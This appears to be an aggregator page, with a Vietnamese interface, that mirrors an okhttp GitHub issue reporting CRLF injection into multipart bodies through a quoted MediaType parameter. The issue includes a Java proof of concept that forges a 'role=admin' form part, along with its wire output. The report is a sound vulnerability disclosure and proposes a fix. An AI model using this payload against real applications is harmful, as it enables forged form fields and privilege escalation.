Hacktoberfest 2026: những issue maintainer đã đánh dấu cho tháng Mười, đang mở và phù hợp người mới. Xem issue Hacktoberfest

CRLF injection into multipart bodies via a quoted MediaType parameter

Đang mở
#9,725 0 bình luận 0 reaction 0 người được giao Xem trên GitHub

Maintainer thường phản hồi trong vòng 1 ngày

Chưa có ai nhận issue này.

  • #9730 của @waterWang — đã đóng, không merge

Đánh giá

Độ khó
2/5
Thời gian dự kiến
1-3 giờ
Mức phù hợp với người mới
45/100
Loại issue
Lỗi
Độ rõ ràng
Đặc tả rõ ràng
Mức độ hoạt động
Đình trệ
Công nghệ
kotlin
Lĩnh vực
security

Hướng nghiên cứu

Start in okhttp/src/commonJvmAndroid/kotlin/okhttp3/MediaType.kt, where the issue identifies the quoted-parameter regex and toString(), then trace how MultipartBody.writeOrCountBytes writes the content type. Run the relevant MediaType and multipart tests, adding coverage for CR/LF in quoted parameters. Done means such input is rejected and the multipart injection demonstrated in the issue cannot occur; a linked pull request is already present, so check its status before starting.

Do mô hình lập chỉ mục viết ra từ nội dung của issue.

Mô tả

bug

MediaType accepts CR and LF inside a quoted parameter, while MultipartBody writes that media type directly into the part header, so a content type taken from untrusted input can end the header block and append new multipart parts. The same exact string is rejected if it goes through the ordinary request-header path, so AFAICT, this is not intentional.

The regex for quoted parameters is in https://github.com/lysine-dev/okhttp/blob/b830f03c8f161883e0213c22c170c3d1f5f5eaa6/okhttp/src/commonJvmAndroid/kotlin/okhttp3/MediaType.kt#L94, which is problematic because the negated character class also matches CR and LF. toString() just returns the original string: https://github.com/lysine-dev/okhttp/blob/b830f03c8f161883e0213c22c170c3d1f5f5eaa6/okhttp/src/commonJvmAndroid/kotlin/okhttp3/MediaType.kt#L86.

MultipartBody.writeOrCountBytes then writes "Content-Type: " + contentType + CRLF:
https://github.com/lysine-dev/okhttp/blob/b830f03c8f161883e0213c22c170c3d1f5f5eaa6/okhttp/src/commonJvmAndroid/kotlin/okhttp3/MultipartBody.kt#L145-L150 with no validation in between.

A quick demo:

import okhttp3.Headers;
import okhttp3.MediaType;
import okhttp3.MultipartBody;
import okhttp3.RequestBody;
import okio.Buffer;

public class Poc36 {
  public static void main(String[] args) throws Exception {
    String attackerControlled =
        "text/plain; charset=\"a\r\n"
      + "\r\n"
      + "injected part body\r\n"
      + "--BOUNDARY\r\n"
      + "Content-Disposition: form-data; name=role\r\n"
      + "\r\n"
      + "admin\r\n"
      + "--BOUNDARY--\r\n"
      + "\"";

    MediaType mediaType = MediaType.parse(attackerControlled);
    System.out.println("MediaType.parse accepted it : " + (mediaType != null));

    try {
      new Headers.Builder().add("Content-Type", mediaType.toString());
      System.out.println("outer request header path   : accepted");
    } catch (IllegalArgumentException e) {
      System.out.println("outer request header path   : rejected (" + e.getMessage().split("\n")[0] + ")");
    }

    MultipartBody body = new MultipartBody.Builder("BOUNDARY")
        .setType(MultipartBody.FORM)
        .addFormDataPart("upload", "note.txt", RequestBody.create("original content".getBytes(), mediaType))
        .build();

    Buffer wire = new Buffer();
    body.writeTo(wire);
    System.out.println("\n--- bytes on the wire ---");
    System.out.print(wire.readUtf8());
  }
}

which results in:

MediaType.parse accepted it : true
outer request header path   : rejected (Unexpected char 0x0d at 22 in Content-Type value: text/plain; charset="a)

--- bytes on the wire ---
--BOUNDARY
Content-Disposition: form-data; name="upload"; filename="note.txt"
Content-Type: text/plain; charset="a

injected part body
--BOUNDARY
Content-Disposition: form-data; name=role

admin
--BOUNDARY--
"

original content
--BOUNDARY--

So the injected/forged role=admin part is complete and well formed, and because the terminating boundary is now before the real content, the application's "real" partbody ends up in the end and gets dropped.

Looking around a bit, this seems to be the only place where CR and LF are not rejected, so the fix seems to be just to reject CR/LF in MediaType.

Ngôn ngữ chính
Kotlin
Star
47.1k
Fork
9.3k
Merge trung bình
18 giờ 18 phút
Pull request đã merge (30 ngày)
15

Chuẩn bị môi trường

Dự án này không cung cấp dev container, Dockerfile hay hướng dẫn đóng góp, nên bạn cần tự thiết lập môi trường: hãy bắt đầu từ README và xem hướng dẫn đóng góp lần đầu của chúng tôi để biết các bước chung.

Bắt đầu từ đâu

  1. Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
  2. Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
  3. Fork repository và làm thay đổi trên một nhánh.
  4. Mở pull request có tham chiếu số hiệu của issue.

Issue khác của lysine-dev/okhttp

Tất cả issue của lysine-dev/okhttp

Issue tương tự

Thêm issue về Kotlin

Nhận issue mới trong hộp thư của bạn

Bản tóm tắt ngắn những issue GitHub phù hợp với người mới.